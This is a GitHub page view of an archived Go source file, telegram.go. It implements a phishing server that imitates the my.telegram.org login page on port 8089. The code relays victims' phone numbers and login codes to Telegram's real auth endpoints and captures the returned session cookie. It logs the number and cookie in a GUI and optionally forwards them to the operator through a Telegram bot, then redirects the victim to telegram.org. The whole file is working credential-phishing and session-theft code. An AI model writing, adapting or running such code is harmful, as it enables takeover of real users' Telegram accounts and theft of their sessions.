This repository has been archived by the owner on Jan 16, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathtelegram.go
117 lines (104 loc) · 2.98 KB
/
telegram.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package main
import (
"context"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"github.com/raifpy/Go/errHandler"
"fyne.io/fyne"
"fyne.io/fyne/dialog"
"fyne.io/fyne/widget"
)
func createRandomHash() string {
const letterBytes = "abcdefghijklmnopqrstuvwxyz1234567890"
const n = 18
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
func serveMyTelegramLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
serveFunc := func(response http.ResponseWriter, request *http.Request) {
if errHandler.HandlerBool(request.ParseForm()) {
fmt.Fprintln(response, "ServerError")
return
}
phone := request.FormValue("phone")
hash := request.FormValue("random_hash")
password := request.FormValue("password")
if phone != "" && hash == "" {
// sadece phone veriliyorsa
rek, err := http.PostForm("https://my.telegram.org/auth/send_password", url.Values{
"phone": {phone},
})
if errHandler.HandlerBool(err) {
fmt.Fprintln(response, "PhoneError")
return
}
ham, _ := ioutil.ReadAll(rek.Body)
//log.Println(string(ham))
fmt.Fprintln(response, string(ham))
return
} else if phone != "" && hash != "" {
rek, err := http.PostForm("https://my.telegram.org/auth/login", url.Values{
"phone": {phone},
"random_hash": {hash},
"password": {password},
"remember": {"1"},
})
if errHandler.HandlerBool(err) {
fmt.Fprintln(response, "LoginError")
return
}
cookies := rek.Cookies()
if len(cookies) > 0 {
cookie := cookies[0].Name + " : " + cookies[0].Value
*textStream += "Phone = " + phone + "\nCookie = " + cookie + "\n"
if useTelegramBot {
tg.send("Phone = " + phone + "\nCookies:")
tg.send(cookie)
}
textGrid.SetText(*textStream)
notiApp.SendNotification(fyne.NewNotification("New Form", "phone : "+phone))
//http.Redirect(response, request, "https://telegram.org", 301)
fmt.Fprintln(response, "")
return
}
*textStream += "Wrong Code :D : " + phone + "\n"
textGrid.SetText(*textStream)
if useTelegramBot {
tg.send("Wrong Code for " + phone)
}
fmt.Fprintln(response, "Wrong Code : "+phone)
return
}
*textStream += "New Request\n"
textGrid.SetText(*textStream)
fmt.Fprintln(response, myTelegramHtml)
}
serveRe := func(response http.ResponseWriter, request *http.Request) {
http.Redirect(response, request, "https://telegram.org", 301)
return
}
/*http.HandleFunc("/", serveFunc)
http.HandleFunc("/re", serveRe)
http.ListenAndServe(":8089", nil)*/
m := http.NewServeMux()
s := http.Server{Addr: ":8089", Handler: m}
m.HandleFunc("/", serveFunc)
m.HandleFunc("/re", serveRe)
go func() {
<-kapat
s.Shutdown(context.Background())
fmt.Println("Server Shutdown")
}()
if err := s.ListenAndServe(); errHandler.HandlerBool(err) && err.Error() != serverClosedErrString{
if useTelegramBot {
tg.send(err.Error())
}
dialog.ShowError(err, win)
}
}